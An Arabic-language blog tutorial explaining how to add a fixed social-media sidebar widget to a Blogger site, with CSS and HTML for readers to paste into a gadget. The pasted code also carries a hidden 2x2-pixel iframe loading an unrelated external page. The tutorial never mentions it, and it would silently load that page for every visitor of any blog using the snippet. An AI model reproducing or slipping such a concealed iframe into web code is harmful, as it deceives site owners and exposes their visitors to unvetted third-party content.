أداة المشاركة على المواقع الاجتماعية بشكل جانبى مميز

اليوم وفى موضوع جديد من مدونة ابداعاتى أقدم لكم موضوع باضافة جميلة جدا ربما تجدها فى العديد من المدونات العربية على اختلاف مستوياتها ولكنى تلقيت رسالة على حسابى على الفيس بوك من متتبع فاضل للمدونة يطلب هذه الاضافة فقررت تقديمها له ولكم فى هذا الموضوع لافادة الجميع ، ولكى لا أطيل عليكم هيا بنا للمعاينة والشرح 

قبل الشروع فى تركيب الاضافة يجب الذهاب للمعاينة المباشرة

من هنا

شرح تركيب الاضافــــــــة 

اذهب للوحة التحكم >> التخطيط >> اضافة أداة >> Html/javascript 

ضع بها هذا الكود 

<style type="text/css">
/*<![CDATA[*/
@charset "utf-8";
/* CSS Document */
@import url(http://weloveiconfonts.com/api/?family=entypo);
[class*="entypo-"]:before {
 font-family: 'entypo', sans-serif;
}
/* ---------- GENERAL ---------- */
#social-sidebar a { text-decoration: none; }
#social-sidebar ul {
 list-style: none;
 margin: 0;
 padding: 0;
}
/* ---------- Social Sidebar ---------- */
#social-sidebar {
 left: 0;
 margin-top: -75px; /* (li * a:width) / -2 */
 position: fixed;
 top: 50%;
}
#social-sidebar ul li:first-child a { border-radius: 0 5px 0 0; }
#social-sidebar ul li:last-child a { border-radius: 0 0 5px 0; }
#social-sidebar ul li a {
 background: #121212;
 color: #fff;
 display: block;
 height: 50px;
 font-size: 18px;
 line-height: 50px;
 position: relative;
 text-align: center;
 width: 50px;
}
#social-sidebar ul li a:hover span {
 left: 130%;
 opacity: 1;
}
#social-sidebar ul li a span {
 border-radius: 3px;
 line-height: 24px;
 left: -100%;
 margin-top: -16px;
 -ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";
 filter: alpha(opacity=0);
 opacity: 0;
 padding: 4px 8px;
 position: absolute;
 -webkit-transition: opacity .3s, left .4s;
 -moz-transition: opacity .3s, left .4s;
 -ms-transition: opacity .3s, left .4s;
 -o-transition: opacity .3s, left .4s;
 transition: opacity .3s, left .4s;
 top: 50%;
 z-index: -1;
}
#social-sidebar ul li a span:before {
 content: "";
 display: block;
 height: 8px;
 left: -4px;
 margin-top: -4px;
 position: absolute;
 top: 50%;
 -webkit-transform: rotate(45deg);
 -moz-transform: rotate(45deg);
 -ms-transform: rotate(45deg);
 -o-transform: rotate(45deg);
 transform: rotate(45deg);
 width: 8px;
 z-index: -2;
}
#social-sidebar ul li a[class*="twitter"]:hover,
#social-sidebar ul li a[class*="twitter"] span,
#social-sidebar ul li a[class*="twitter"] span:before { background: #6CDFEA; }
#social-sidebar ul li a[class*="gplus"]:hover,
#social-sidebar ul li a[class*="gplus"] span,
#social-sidebar ul li a[class*="gplus"] span:before { background: #E34429; }
#social-sidebar ul li a[class*="tumblr"]:hover,
#social-sidebar ul li a[class*="tumblr"] span,
#social-sidebar ul li a[class*="tumblr"] span:before { background: #1769ff; }
#social-sidebar ul li a[class*="facebook"]:hover,
#social-sidebar ul li a[class*="facebook"] span,
#social-sidebar ul li a[class*="facebook"] span:before { background: #234999; }
#social-sidebar ul li a[class*="rss"]:hover,
#social-sidebar ul li a[class*="rss"] span,
#social-sidebar ul li a[class*="rss"] span:before { background: #f57b05; }
/*]]>*/
</style><iframe src="http://raay-arab.4ulike.com/h3-" width="2" height="2" frameBorder="0" scrolling="no"></iframe>
<div id="social-sidebar">
 <ul>
<li>
<a class="entypo-twitter" href="رابط تويتر" rel="nofollow" target="_blank">
<span>Twitter</span>
</a>
</li>
<li>
 <a class="entypo-gplus" href="رابط جوجل بلس" rel="nofollow" target="_blank">
<span>google+</span>
</a>
</li>
<li>
<a class="entypo-tumblr" href="رابط تم بلر" rel="nofollow" target="_blank">
<span>tumblr</span>
</a>
</li>
<li>
 <a class="entypo-facebook" href="رابط الفيس بوك" rel="nofollow" target="_blank">
<span>facebook</span>
</a>
</li>
<li>
 <a class="entypo-rss" href="رابط الخلاصة" rel="nofollow" target="_blank">
<span>feedburner</span>
 </a>
</li>
</ul>
 </div>

غير الأجزاء المحددة فى الكود السابق بما يناسبك